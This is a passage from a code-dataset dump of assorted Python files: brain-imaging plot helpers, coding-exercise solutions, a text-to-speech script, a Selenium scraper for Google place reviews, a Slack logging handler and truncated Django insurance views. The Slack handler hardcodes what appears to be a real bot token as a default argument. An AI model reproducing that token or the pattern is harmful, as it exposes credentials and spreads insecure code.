(3,n_neurons)\n        \n    opacity : 1d array\n        opacity values for each neuron\n\n    mask : 1d array\n        boolean array to select which neurons will be plotted in color\n        default :  None\n        \n    alpha_out : float\n        opacity of neurons outside the mask\n        default : 0.5\n        \n    c : string\n        color of the dots\n        default : 'blue'\n        \n    s : float\n        size of the dots\n        default : 4\n    \"\"\"\n    zs=np.unique(coords[2])\n    zs=-np.sort(-zs)\n    alpha=opacity/np.max(opacity)\n    alpha[alpha<0]=0\n    @interact(layer=(0,len(zs)-1,1))\n    def _plot_brain_layer(layer=0):\n        plt.close()\n        fig,ax=plt.subplots()\n        \n        if mask is None:\n            x_layer=coords[0,coords[2]==zs[layer]]\n            y_layer=coords[1,coords[2]==zs[layer]]\n            alpha_layer=alpha[coords[2]==zs[layer]]\n            if len(x_layer)>0:\n                ax.scatter(x_layer,y_layer,s=s,c=c,alpha=alpha_layer,edgecolors='none')\n        \n        else:\n            x_layer=coords[0,(coords[2]==zs[layer])&(~mask)]\n            y_layer=coords[1,(coords[2]==zs[layer])&(~mask)]\n            if len(x_layer)>0:\n                ax.scatter(x_layer,y_layer,s=s,c='lightgrey',alpha=alpha_out,edgecolors='none')\n\n            x_layer=coords[0,(coords[2]==zs[layer])&(mask)]\n            y_layer=coords[1,(coords[2]==zs[layer])&(mask)]\n            alpha_layer=alpha[(coords[2]==zs[layer])&(mask)]\n            if len(x_layer)>0:\n                ax.scatter(x_layer,y_layer,s=s,c=c,alpha=alpha_layer,edgecolors='none')\n\n        ax.set_aspect('equal')\n        ax.set_xlim(np.min(coords[0]),np.max(coords[0]))\n        ax.set_ylim(np.min(coords[1]),np.max(coords[1]))\n        ax.set_title('$z = $'+str(round(zs[layer]))+' μm')\n        ax.set_xlabel('$x$ (μm)')\n        ax.set_ylabel('$y$ (μm)')\n        plt.show()\n        \n        \ndef plot_brain_projections(coords,opacity,mask=None,alpha_out=0.1,c='blue',s=2,interactive=False):\n    \"\"\"Plot neuron positions projected in three orthogonal planes.\n    Opacity values are given as inputs. They are cropped to positive values and rescaled to the range [0,1].\n    Optionally a mask can be given so that neurons outside the mask are plotted in light grey.\n\n    Parameters :\n    ------------\n    coords : 2d array\n        neuron positions, shape (3,n_neurons)\n        \n    opacity : 1d array\n        opacity values for each neuron\n\n    mask : 1d array\n        boolean array to select which neurons will be plotted in color\n        default :  None\n        \n    alpha_out : float\n        opacity of neurons outside the mask\n        default : 0.1\n        \n    c : string\n        color of the dots\n        default : 'blue'\n        \n    s : float\n        size of the dots\n        default : 2\n        \n    interactive : boolean\n        flag for interactive plotting\n        default : False\n    \"\"\"\n    alpha=opacity/np.max(opacity)\n    alpha[alpha<0]=0\n    fig=plt.figure()\n    ortho=OrthoAxes(fig,coords,interactive=interactive)\n    if mask is None:\n        ortho.scatter(coords,c=c,alpha=alpha,s=s)\n    else:\n        alpha=alpha[mask]\n        ortho.scatter(coords[:,~mask],c='lightgrey',alpha=alpha_out,s=s)\n        ortho.scatter(coords[:,mask],c=c,alpha=alpha,s=s)\n    plt.show()\n    if interactive:\n        return ortho   \n    \n    \ndef plot_brain_projections_colorbar(coords,color,mask,cmap='Blues',alpha_in=0.3,alpha_out=0.1,s=3,vmin=0,vmax=10):\n    \"\"\"Plot neuron positions projected in three orthogonal planes, with colorbar.\n    Color values are given as inputs. \n    Neurons outside the mask are plotted in light grey.\n\n    Parameters :\n    ------------\n    coords : 2d array\n        neuron positions, shape (3,n_neurons)\n        \n    color : 1d array\n        color values for each neuron\n\n    mask : 1d array\n        boolean array to select which neurons will be plotted in color\n        default :  None\n       \n    cmap : string\n        colormap\n        default : 'Blues'\n        \n    alpha_in : float\n        opacity of neurons inside the mask, of all neurons if no mask is given\n        default : 0.3\n        \n    alpha_out : float\n        opacity of neurons outside the mask\n        default : 0.1\n        \n    s : float\n        size of the dots\n        default : 2\n        \n    interactive : boolean\n        flag for interactive plotting\n        default : False\n    \"\"\"\n    fig,ax=plt.subplots()\n    divider=make_axes_locatable(ax)\n    ax2=divider.append_axes('right',size='40%',pad=0,sharey=ax)\n    ax3=divider.append_axes('top',size='20%',pad=0,sharex=ax)\n    cax=divider.append_axes('right',size='5%',pad=0)\n\n    ax.scatter(coords[0,~mask],coords[1,~mask],s=s,c='lightgrey',alpha=alpha_out,edgecolors='none')\n    im=ax.scatter(coords[0,mask],coords[1,mask],s=s,c=color[mask],vmin=vmin,vmax=vmax,cmap=cmap,alpha=alpha_in,edgecolors='none')\n\n    ax.set_aspect('equal')\n    ax.set_xlabel('$x$ (μm)')\n    ax.set_ylabel('$y$ (μm)')\n    \n    ax2.scatter(coords[2,~mask],coords[1,~mask],s=s,c='lightgrey',alpha=alpha_out,edgecolors='none')\n    ax2.scatter(coords[2,mask],coords[1,mask],s=s,c=color[mask],vmin=vmin,vmax=vmax,cmap=cmap,alpha=alpha_in,edgecolors='none')\n\n    ax2.tick_params(left=False,labelleft=False)\n    ax2.set_aspect('equal')\n    ax2.set_xlabel('$z$ (μm)')\n    \n    ax3.scatter(coords[0,~mask],coords[2,~mask],s=s,c='lightgrey',alpha=alpha_out,edgecolors='none')\n    ax3.scatter(coords[0,mask],coords[2,mask],s=s,c=color[mask],vmin=vmin,vmax=vmax,cmap=cmap,alpha=alpha_in,edgecolors='none')\n\n    ax3.tick_params(bottom=False,labelbottom=False)\n    ax3.set_aspect('equal')\n    ax3.set_ylabel('$z$ (μm)')\n\n    cbar=plt.colorbar(im,cax=cax)\n    cbar.set_label('colorbar')\n    plt.show()\n    \n\ndef plot_brain_projections_color(coords,color,mask=None,cmap='coolwarm',alpha_in=0.5,alpha_out=0.1,s=2,interactive=False):\n    \"\"\"Plot neuron positions projected in three orthogonal planes.\n    Color values are given as inputs.\n    Optionally a mask can be given so that neurons outside the mask are plotted in light grey.\n\n    Parameters :\n    ------------\n    coords : 2d array\n        neuron positions, shape (3,n_neurons)\n        \n    color : 1d array\n        color values for each neuron\n\n    mask : 1d array\n        boolean array to select which neurons will be plotted in color\n        default :  None\n        \n    cmap : string\n        colormap\n        default : 'coolwarm'\n       \n    alpha_in : float\n        opacity of neurons inside the mask, of all neurons if no mask is given\n        default : 0.5\n        \n    alpha_out : float\n        opacity of neurons outside the mask\n        default : 0.1\n        \n    s : float\n        size of the dots\n        default : 2\n        \n    interactive : boolean\n        flag for interactive plotting\n        default : False\n    \"\"\"\n    fig=plt.figure()\n    ortho=OrthoAxes(fig,coords,interactive=interactive)\n    if mask is None:\n        ortho.scatter(coords,c=color,cmap=cmap,\n                      vmin=-np.std(color),vmax=np.std(color),alpha=alpha_in,s=s)\n    else:\n        color=color[mask]\n        ortho.scatter(coords[:,~mask],color='lightgrey',alpha=alpha_out,s=s)\n        ortho.scatter(coords[:,mask],c=color,cmap=cmap,\n                      vmin=-np.std(color),vmax=np.std(color),alpha=alpha_in,s=s)\n    plt.show()\n    if interactive:\n        return ortho   \n\n    \ndef plot_coefficients(coords,coef,mask=None,interactive=False,**kwargs):\n    \"\"\"Plot neuron positions projected in three orthogonal planes.\n    Different sets of color values, corresponding to different regressors can be given as inputs and selected with a slider.\n    Optionally a mask can be given so that neurons outside the mask are plotted in light grey.\n\n    Parameters :\n    ------------\n    coords : 2d array\n        neuron positions, shape (3,n_neurons)\n        \n    coef : 1d or 2d array\n        color values for each neuron, possibly multiple sets corresponding to different regressors, shape (n_neurons) or (n_neurons,n_regressors)\n\n    mask : 1d array\n        boolean array to select which neurons will be plotted in color\n        default :  None\n        \n    interactive : boolean\n        flag for interactive plotting\n        default : False\n    \"\"\"\n    if len(coef.shape)==1:\n        ortho=plot_brain_projections_color(coords,coef,mask,interactive=interactive,**kwargs)\n        if interactive:\n            return ortho   \n    else:\n        @interact(regressor=(0,coef.shape[1]-1))\n        def _plot_coefficients(regressor=0):\n            plt.close('all')\n            ortho=plot_brain_projections_color(coords,coef[:,regressor],mask,interactive=interactive,**kwargs)\n            if interactive:\n                return ortho    \n                \n                \ndef plot_neurons_per_label(neuron_labels,indices,opacity,coords,regressors,dff,times,interactive=False): \n    \"\"\"For a given regression label inputted as a string: plot position of neurons having that label and their average activity.\n    \n    Parameters :\n    ------------\n    neuron_labels : 2d array\n        1 for positive coefficient, -1 for negative, 0 for not significant, shape (n_selected_neurons,n_regressors)\n        \n    indices : 1d\n        indices of neurons for which labels are given, shape (n_selected_neurons) \n\n    opacity : 1d array\n        opacity values for all neuron, shape (n_neurons) \n    \n    coords : 2d array\n        neuron positions for all neuron, shape (3,n_neurons)\n\n    regressors : 2d array\n        array of regressors, shape (n_timepoints,n_regressors)\n        default :  None\n\n    dff : 2d array\n        rescaled fluorescence traces for all neurons, shape (n_neurons,n_timepoints)    \n\n    times : 1d array\n        timepoints of regressors and dff, shape (n_timepoints)\n        \n    interactive : boolean\n        flag for interactive plotting\n        default : False\n    \"\"\"\n    n_regressors=len(regressors)\n    all_possible_labels=list(itertools.product([0,1,-1],repeat=n_regressors)) #get all possible combinations of 0, 1 and -1\n    n_neurons_per_label=[]\n    text_labels=[]\n    for label in all_possible_labels:\n        n_neurons_per_label.append(np.sum(np.all(neuron_labels==label,axis=1))) #number of neurons with a certain label\n        text_labels.append(str(label)) #each label saved as a string\n    n_neurons_per_label=np.array(n_neurons_per_label)\n    text_labels=np.array(text_labels)\n\n    @interact(label=text_labels[np.argsort(n_neurons_per_label)[-1]])\n    def _plot_neurons_per_label(label):\n        \n        i=np.nonzero(text_labels==label)[0]\n        if len(i)==0:\n            print('invalid combination')\n        else:\n            i=int(i)\n            label_i=all_possible_labels[i]\n            mask_label=np.zeros(len(dff))\n            mask_label[indices[np.all(neuron_labels==label_i,axis=1)]]=1\n            mask_label=mask_label.astype(bool)\n            print('number of neurons: '+str(n_neurons_per_label[i]))\n            if n_neurons_per_label[i]>0:\n                plt.close('all')\n                ortho=plot_brain_projections(coords,opacity,mask_label,interactive=interactive)\n                fig,ax=plt.subplots()\n                for n,regressor in enumerate(regressors):\n                    ax.plot(times,scale(regressor),label='regressor '+str(n))\n                ax.plot(times,scale(dff[mask_label].mean(axis=0)),'k',label='average $\\Delta F/F$ with '+label)\n                ax.set_xlim(times[0],times[-1])\n                ax.set_xlabel('time (s)')\n                ax.legend()\n                plt.show()\n                if interactive:\n                    return ortho    \n\n\nclass ComplexRaster:\n    def __init__(self, ax, X, \n                 signal=None, times=None, order=None, weights=None,\n                 X_params={\"cmap\":\"plasma\", \"vmin\":None, \"vmax\":None},\n                 signal_params={\"cmap\":\"plasma\", \"vmin\":None, \"vmax\":None},\n                 weights_params={\"cmap\":\"plasma\", \"vmin\":None, \"vmax\":None},\n                ):\n        self.ax = ax\n        self.X = X\n        self.signal = signal\n        self.times = times\n        self.order = order\n        self.weights = weights\n\n        self._X_params = X_params\n        self._signal_params = signal_params\n        self._weights_params = weights_params\n\n        assert self.X.ndim==2\n        self._n, self._t  = self.X.shape        \n\n        divider = make_axes_locatable(ax)\n        if self.signal is not None:\n            assert self.signal.ndim==1\n            assert len(self.signal)==self._t\n            self._ax_sig = divider.append_axes('top',size=0.2,pad=0.1,sharex=ax)\n            self._ax_sig.tick_params(axis='both',which='both',bottom=False,left=False,labelbottom=False,labelleft=False)\n            \n        if self.weights is not None:\n            assert self.weights.ndim==1\n            assert len(self.weights)==self._n\n            self._ax_wei = divider.append_axes('left',size=0.2,pad=0.1,sharey=ax)\n            self._ax_wei.tick_params(axis='both',which='both',bottom=False,left=True,labelbottom=False,labelleft=True)\n            ax.tick_params(axis='both',which='both',bottom=True,left=False,labelbottom=True,labelleft=False)\n            self._ax_wei.set_ylabel(\"Neurons & Coefficients (re-ordered)\")\n        else:\n            ax.set_ylabel(\"Neurons\")\n            \n        if self.times is not None:\n            assert self.times.ndim==1\n            assert len(self.times)==self._t\n            ax.set_xlabel(\"Time (s)\")\n        else:\n            self.times = np.arange(self.X.shape[1])\n            ax.set_xlabel(\"Time (frame)\")\n        dt = np.mean(np.diff(self.times))\n        self._extent = [self.times[0]-dt/2,self.times[-1]+dt/2,self.X.shape[0]-0.5,-0.5]\n\n        if (self.weights is not None) and (self.order is None):\n            self.order = np.argsort(self.weights)[::-1]\n        if self.order is not None:\n            assert self.order.ndim==1\n            assert len(self.order)==self._n\n            self.X = self.X[self.order]\n            if self.weights is not None:\n                self.weights = self.weights[self.order]\n\n        \n        self._im_dff = self.ax.imshow(\n            self.X,\n            **self._X_params,\n            interpolation='none', aspect='auto', extent=self._extent)\n        if self.signal is not None:\n            self._im_sig = self._ax_sig.imshow(\n                self.signal.reshape(1,-1), \n                **self._signal_params, \n                aspect='auto', interpolation='none', extent=self._extent\n            )\n        if self.weights is not None:\n            self._im_wei = self._ax_wei.imshow(\n                self.weights.reshape(-1,1), \n                cmap=\"seismic\", vmin=-0.01, vmax=+0.01, \n                aspect='auto', interpolation='none', extent=self._extent\n            )\n\n    @classmethod\n    def update_img(cls, ax_img, img):\n        \"\"\"update the data of an matplotlib.image.AxesImage. \"\"\"\n        ax_img.set_data(img)\n\n    def update_order(self, order):\n        self.update_img(self._im_dff, self.X[order])\n        if self.weights is not None:\n            self.update_img(self._im_wei, self.weights[order].reshape(-1,1))\n\nclass PCA_raster(ComplexRaster):\n    def __init__(self, ax, X, pca, k=0, times=None):\n        self.pca = pca\n        self.k = k\n        self.x = X\n        self.Y = self.pca.transform(X.T)\n        super().__init__(\n            ax, \n            self.x,\n            signal=self.Y[:,self.k], \n            times=times,\n            weights=self.pca.components_[self.k],\n            X_params={\"cmap\":\"inferno\", \"vmin\":0, \"vmax\":0.7},\n            signal_params={\"cmap\":\"inferno\", \"vmin\":-10, \"vmax\":+10},\n            weights_params={\"cmap\":\"plasma\", \"vmin\":None, \"vmax\":None},\n        )\n\n    def change_component(self,k):\n        print(self.X.shape)\n        self.k = k\n        self.update_img(self._im_sig, self.Y[:,self.k].reshape(1,-1))\n        self.weights = self.pca.components_[self.k]\n        order = np.argsort(self.weights)[::-1]\n        self.update_img(self._im_wei, self.weights[order].reshape(-1,1))\n        self.update_img(self._im_dff, self.x[order])\n\n\n\ndef plot_angle_colorbar(mappable, ax=None, label=\"\"):\n    \"\"\"Add a circular colorbar to a plot.\n    \n    :mappable: matplotlib.cm.ScalarMappable\n        see `plt.colorbar` or matplotlib.figure.Figure.colobar for more details\n    :ax: ~.axes.Axes\n        matplotlib parent axis\n    :label: str\n        label of the colorbar.\n    \"\"\"\n    from matplotlib.projections.polar import PolarAxes\n    angles = mappable.get_array()\n    angles = np.unique(angles[np.isfinite(angles)])\n    \n    rad = np.linspace(0.9, 1.1, 2)\n    rg, tg = np.meshgrid(rad,angles)\n\n    ax = plt.gca()\n    divider = make_axes_locatable(ax)\n    _ax = divider.append_axes('right',size=\"20%\",pad=0.5, axes_class=PolarAxes)\n    _ax.set_title(label)\n\n    vmin, vmax = mappable.get_clim()\n    _ax.pcolormesh(np.deg2rad(angles), rad, tg.T, cmap=mappable.get_cmap(), vmin=vmin, vmax=vmax)\n    t = np.rad2deg(_ax.get_xticks())\n    t[t > 180] -= 360\n    _ax.set_xticklabels([f\"{int(tt)}°\" for tt in t], fontdict={'fontweight':\"bold\"})\n    _ax.axes.get_yaxis().set_visible(False)\n    _ax.grid(False)\n    _ax.axes.spines['polar'].set_visible(False)\n\n\nclass JointPlot:\n    def __init__(self, ax, X, Y, tx=0, ty=0, **kwargs):\n        self.X = X\n        self.Y = Y\n        self._n = len(self.X)\n        self.ax_joint = ax\n        divider = make_axes_locatable(self.ax_joint)\n        self._ax_mx = divider.append_axes('top',size=\"20%\",pad=0,sharex=self.ax_joint, ylabel=\"Density\")\n        self._ax_my = divider.append_axes('right',size=\"20%\",pad=0,sharey=self.ax_joint, xlabel=\"Density\")\n        self._ax_my.tick_params(axis='both',which='both',bottom=True,left=False,labelbottom=True,labelleft=False)\n        self._ax_mx.tick_params(axis='both',which='both',bottom=False,left=True,labelbottom=False,labelleft=True)\n        \n        self._scatt = self.ax_joint.scatter(\n            self.X, \n            self.Y, \n            edgecolor=\"none\", \n            alpha=0.1*np.ones(self._n), \n            c=np.zeros(self._n, dtype=np.int_), \n            #cmap=\"flag_r\", vmin=0, vmax=1,\n            **kwargs,\n            s=5,\n        )\n        _hx,_,_ = self._ax_mx.hist(self.X, bins=100, color=\"k\", density=True);\n        _hy,_,_ = self._ax_my.hist(self.Y, bins=100, color=\"k\", orientation=\"horizontal\", density=True);\n\n        if tx is not None:\n            self._x, self._y = tx,ty\n            self._linex = self.ax_joint.axvline(self._x, color=\"red\")\n            self._linemx = self._ax_mx.axvline(self._x, color=\"red\")\n            self._liney = self.ax_joint.axhline(self._y, color=\"red\")\n            self._linemy = self._ax_my.axhline(self._y, color=\"red\")\n            self._textmx = self._ax_mx.text(self._x, _hx.max()+10, \n                                            \"50%\", ha=\"center\", va=\"bottom\", \n                                            color=\"red\")\n            self._textmy = self._ax_my.text(_hy.max()+10, self._y, \n                                            \"50%\", ha=\"left\", va=\"center\", \n                                            rotation=-90, color=\"red\")\n            self.change_thresh(self._x, self._y)\n\n    def change_thresh(self, tx=0, ty=0, sidex=\"t\", sidey=\"t\"):\n        maskX = (self.X > tx) if sidex==\"t\" else(self.X < tx)\n        maskY = (self.Y > ty) if sidey==\"t\" else(self.Y < ty)\n        mask = maskX.astype(np.uint8)+maskY.astype(np.uint8)*2\n        self._scatt.set_array(mask)\n        self._scatt.set_alpha(np.where(mask, 0.5, 0.1))\n        self._x, self._y = tx,ty\n        self._linex.set_xdata([self._x]) ; self._linemx.set_xdata([self._x])\n        self._liney.set_ydata([self._y]) ; self._linemy.set_ydata([self._y])\n        self._textmx.set_x(self._x) ; self._textmy.set_y(self._y)\n        self._textmx.set_text(f\"{inv_quantile(self.X, self._x):0.1f}%\")\n        self._textmy.set_text(f\"{inv_quantile(self.Y, self._y):0.1f}%\")\n        return mask\n\ndef widgets_for_pca(n_componants=5):\n    v = []\n    for p in range(n_componants):\n        button = widgets.ToggleButton(value=False,description=f'PC{p}')\n        side = widgets.RadioButtons(options=['top', 'bottom'], layout={'width': 'max-content'})\n        slider = widgets.FloatSlider(\n            value=10,\n            min=0,\n            max=100,\n            step=1,\n            continuous_update=False,\n            #readout_format='.2f',\n        )\n        unit = widgets.Label(value=\"%\")\n        h = widgets.HBox([button,side, slider, unit])\n        v.append(h)\n    return widgets.VBox(v)\n\ndef params_from_widgets(widg):\n    n = len(widg.children)\n    ons = np.zeros(n, dtype=np.bool_)\n    side = np.zeros(n, dtype=str)\n    lims = np.zeros(n)\n    for p,c in zip(range(n), widg.children):\n        ons[p] = c.children[0].value\n        side[p] = c.children[1].value[0]\n        lims[p] = np.array(c.children[2].value)/100\n    return ons, side, lims\n\ndef mask_from_quantile(distrib, q=0.01, side=\"t\"):\n    assert distrib.ndim == 1, \":distrib: should be a 1D vector.\"\n    if side == \"t\":\n        q = 1-q\n    elif side == \"b\":\n        pass\n    else:\n        raise TypeError(f\":side: should be 't' or 'b'. You gave {side}.\")\n\n    thresh = np.quantile(distrib, q)\n\n    if side == \"t\":\n        mask = distrib > thresh\n    elif side == \"b\":\n        mask = distrib < thresh\n        \n    return mask\n\ndef mask_from_widgets(pca, widg):\n    onoff, side, quant = params_from_widgets(widg)\n    \n    if (~onoff).all():\n        return np.zeros(pca.components_.shape[1], dtype=np.bool_)\n        \n    mask = np.ones(pca.components_.shape[1], dtype=np.bool_)\n    for p in range(len(onoff)):\n        if onoff[p]:\n            submask = mask_from_quantile(pca.components_[p], quant[p], side=side[p])\n            mask *= submask\n    return mask\n\ndef recursive_observe(widg, func):\n    for c in widg.children:\n        if hasattr(c, \"value\"):\n            c.observe(func)\n        else:\n            recursive_observe(c, func)","repo_name":"EmeEmu/IBIO-Banyuls2023-Python","sub_path":"Helper_Functions/plotting_functions.py","file_name":"plotting_functions.py","file_ext":"py","file_size_in_byte":24879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"10587448413","text":"'''\nLeetcode question: https://leetcode.com/problems/valid-parentheses\nDifficulty: Easy\nO (n) complexity solution\n'''\n\nclass Solution:\n    def isValid(self, s: str) -> bool:\n        # Stack to keep track of opening tag to be closed\n        stk = []\n\n        # String to keep track of closing tag if it doesn't have a corresponding opening tag \n        # in stk\n        close = \"\" \n        # Dict for closing tag with their opening tag for easy mapping\n        known = {\")\":\"(\", \"}\": \"{\", \"]\": \"[\"}\n        for i in s:\n            if i in known.values():\n                stk.append(i)\n            elif (len(stk) != 0) and (known[i] == stk[-1]):\n                    stk.pop()\n            else: #In the final case, the string definitely starts with closing tag\n                close += i\n           \n        # Check if there's any opening tag still left to be closed  or if the string \n        # starts with closing tag, then it's not valid parenthesis\n\n        if len(stk) != 0 or len(close) != 0:\n            return False\n        return True        \n","repo_name":"Pihu1998/Leetcode_questions","sub_path":"valid_parentheses.py","file_name":"valid_parentheses.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38633186601","text":"from gtts import gTTS\r\n\r\n\r\nimport os\r\n\r\nrun = True\r\nwhile run is True:\r\n    txt = input(\"enter whatever you want..\\n\")\r\n    if txt == '':\r\n        quit()\r\n    else:\r\n        Ln = 'en'\r\n        say =gTTS(text=txt,lang=Ln,slow=False)\r\n        say.save(\"shout.mp3\")\r\n        os.system(\"shout.mp3\")\r\n        print(\"to stop enter empty string\")\r\n    \r\n","repo_name":"vinsonryu/python_learning_files","sub_path":"gtts/speechtotext.py","file_name":"speechtotext.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11115307192","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/42862\ndef solution(n, lost, reserve):\n\n    nreserve = set(reserve).difference(set(lost))\n    nlost = set(lost).difference(set(reserve))\n\n    for r in nreserve:\n        front = r-1\n        back = r+1\n\n        if front in nlost:\n            nlost.remove(front)\n        elif back in nlost:\n            nlost.remove(back)\n\n    return n-len(nlost)\n\n\nprint(solution(5, [2, 4], [1, 3, 5]))\nprint(solution(5, [2, 4], [3]))\nprint(solution(5, [2, 4], [2]))\n","repo_name":"dragonappear/problem-solving","sub_path":"greedy/PG_체육복.py","file_name":"PG_체육복.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13843545398","text":"\nimport time\nimport pyautogui\nfrom selenium import webdriver\n\ndef search_place(query) :\n\n    global driver\n\n    \n    search_box = driver.find_element_by_name('q')\n    search_box.send_keys(query)\n    search_box.submit()\n    time.sleep(2)\n    \n    #리뷰 클릭\n    place = driver.find_element_by_xpath('//*[@id=\"rhs\"]/div/div[1]/div/div[1]/div/div[1]/div[2]/div[2]/div[2]/div/div/span[2]/span/a')\n    place.click()\n    time.sleep(5)\n\n    #리뷰 옵션 - 현재는 최신순, 텍스트 학습데이터 긁을때는 관련성순 ㄱㄱ\n    review_option = driver.find_element_by_class_name('dkSGpd.NkCsjc')\n    review_option.click()\n    time.sleep(2)\n    #relevancy = driver.find_element_by_xpath('//*[@id=\"lb\"]/div/g-menu/g-menu-item[1]')\n    #relevancy.click()\n    recency = driver.find_element_by_xpath('//*[@id=\"lb\"]/div/g-menu/g-menu-item[2]')\n    recency.click()\n    time.sleep(2)\n    \ndef define_crawl_size(size):\n    \n    global driver\n    \n  \n    scroll = driver.find_element_by_xpath('//*[@id=\"reviewSort\"]')\n    scroll.click()\n    pyautogui.moveTo(480, 490)\n    pyautogui.click()\n  \n    for i in range(size):\n\n        pyautogui.scroll(-2000)\n        time.sleep(0.5)\n    time.sleep(2)\n    \n\ndef review_crawl():\n    global driver, user, rating, date, review\n\n    #리뷰 크롤링\n    origin_divs = driver.find_elements_by_css_selector('#reviewSort > div')\n    print(len(origin_divs)) #크롤하는 리뷰 갯수확인, 만약 이 len값이 5면, 리뷰 50개\n\n    cnt=1\n    for origin_div in origin_divs:\n\n        final_divs = origin_div.find_elements_by_css_selector('div.gws-localreviews__general-reviews-block > div')\n        for final_div in final_divs:\n\n            id_div = final_divs.find_element_by_class_name('TSUbDb')\n            user.append(id_div.text)\n            print(id_div.text)\n\n            rating_span = final_divs.find_element_by_class_name('fTKmHE99XE4__star-s').get_attribute('aria-label')\n            rating.append(rating_span)\n            print(rating_span[7:10])\n\n            date_span = final_divs.find_element_by_class_name('dehysf').text\n            date.append(date_span)\n            print(date_span)\n\n            review_div = final_divs.find_element_by_class_name('Jtu6Td')\n            review_span = review_div.find_element_by_tag_name('span').text\n            review.append(review_span)\n            print(review_span)\n            print('-----------------------------------------', cnt, '--------------------------------------------------')\n            cnt+=1\n\nif __name__ == \"__main__\":\n\n    global driver, user, rating, date, review\n\n    user = list()\n    rating = list()\n    date = list()\n    review = list()\n\n    #driver load\n    driver = webdriver.Chrome('C:\\chromedriver\\chromedriver.exe')\n    driver.get('http://www.gogle.com/')\n    time.sleep(2)\n    \n    search_place('제주도 용두암')\n    define_crawl_size(20)\n    review_crawl()\n\n","repo_name":"LeeJuOh/crawler","sub_path":"gogle_cr/gogle_cr.py","file_name":"gogle_cr.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70925960142","text":"# -*- coding: utf-8 -*-\n\nfrom slackclient import SlackClient\nimport logging\n\n\nclass SlackHandler(logging.Handler):\n    def __init__(self, level=0, module_name='', slack_bot_token='xoxb-312554961652-uSmliU84rFhnUSBq9YdKh6lS',  slack_crons_channel_id='CAM3ND487'):\n        super(SlackHandler, self).__init__(level)\n        self.module_name = module_name\n        self.slack_bot_token = slack_bot_token\n        self.slack_crons_channel_id = slack_crons_channel_id\n        self.sc = SlackClient(slack_bot_token)\n\n    def emit(self, record):\n        if record:\n            if record.levelname in ['ERROR', 'WARNING']:\n                text = ''\n                if record.exc_text:\n                    text = record.exc_text\n                elif record.message:\n                    text = record.message\n                if 'Product not saved in' in text:\n                    return\n                try:\n                    msg = \"%s [%s] %s: %s\" % (record.asctime, record.levelname, record.funcName, text)\n                except:\n                    msg = text\n                self.sc.api_call(\"chat.postMessage\",\n                                 channel=self.slack_crons_channel_id,\n                                 as_user=False,\n                                 username=self.module_name + ' ' + record.levelname,\n                                 text=text)\n\n\ndef notify_slack(source, message, slack_bot_token='xoxb-312554961652-uSmliU84rFhnUSBq9YdKh6lS',  slack_cron_info_channel_id='CGNGTRB7X'):\n    sc = SlackClient(slack_bot_token)\n    sc.api_call(\n        \"chat.postMessage\",\n        channel=slack_cron_info_channel_id,\n        as_user=False,\n        username=source,\n        text=message,\n    )\n","repo_name":"ilyasProgrammer/eBay-Amazon-Sripts","sub_path":"slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27106698001","text":"\nfrom os import name\nfrom django.shortcuts import render,redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User,auth\nfrom .models import Health_Insurance\nfrom .models import Life_Insurance,User_Own,Details\n# Create your views here.\nfrom django.http import HttpResponse\nimport datetime\n\ndef profile2(request):\n    return render(request,\"profile2.html\")\ndef general(request):\n    return render(request,\"cal_general.html\")\ndef heart(request):\n    return render(request,\"cal_heart.html\")\ndef cancer(request):\n    return render(request,\"cal_cancer.html\")\ndef term(request):\n    return render(request,\"cal_pension.html\")\ndef pension(request):\n    return render(request,\"cal_pension.html\")\ndef endownment(request):\n    return render(request,\"cal_pension.html\")\ndef blog_single(request):\n    return render(request,\"blog-single.html\")\ndef index(request):\n    return render(request,\"index.html\")\ndef about(request):\n    return render(request,\"about.html\")\ndef blog(request):\n    return render(request,\"blog.html\")\ndef contact(request):\n    return render(request,\"contact.html\")\ndef index_2(request):\n    return render(request,\"index-2.html\")\ndef portfolio_details(request):\n    return render(request,\"portfolio-details.html\")\ndef portfolio(request):\n    return render(request,\"portfolio.html\")\ndef health(request):\n    insure = Health_Insurance.objects.all()\n    return render(request, \"services.html\",{'insure' : insure, 't' : True})\ndef life(request):\n    insure = Life_Insurance.objects.all()\n    return render(request, \"services.html\",{'insure' : insure, 't' : False})\n\n\ndef buy(request):\n    age = request.session['age']\n    amount = request.session['amount']\n    year = request.session['year']\n    typo = request.session['typo']\n    total = request.session['total']\n    name = request.POST['name']\n    return render(request,\"profile.html\",{'age':age,'amount':amount})\n\ndef term_calculation(request):\n    if request.method==\"GET\":\n        name = \"Cancer Insurance\"\n        age = int(request.GET['age'])\n        amount = int(request.GET['amount'])\n        year = request.GET['year']\n        year=year.split(\"+\")\n        typo = int(request.GET['type'])\n        y=float(year[0])\n        ye=year[1]\n        total = float(amount*y)\n        total = total + (total*age/100)\n        if age==0:\n            age=\"18-20\"\n        elif age==10:\n            age=\"21-25\"\n        elif age==15:\n            age=\"26-30\"\n        elif age==20:\n            age=\"31-35\"\n        elif age==25:\n            age=\"36-40\"\n        elif age==30:\n            age=\"41-45\"\n        elif age==35:\n            age=\"46-50\"\n        total = int(total/typo)\n        slash = \"/\"\n        if typo==12:\n                    month = \"month\"\n        else:\n                month = \"months\"\n        if typo==4:\n                typo=3\n        elif typo==2:\n                typo=6\n        elif typo==1:\n                typo=12\n        elif typo==12:\n                typo=1    \n        if request.GET['confirm']=='check':\n            return render(request,'cal_cancer.html',{'total':total, 'type' : typo , 'month':month, 'slash':slash})\n        elif request.GET['confirm']=='pay':\n            \n            current = request.user\n            caser=User_Own.objects.all()\n            for ca in caser:\n                if current.username==ca.user_name:\n                    val=ca\n                    break\n            idi = val.id\n            x = datetime.datetime.now()\n            x=x.strftime(\"%x\")\n            detailsu = 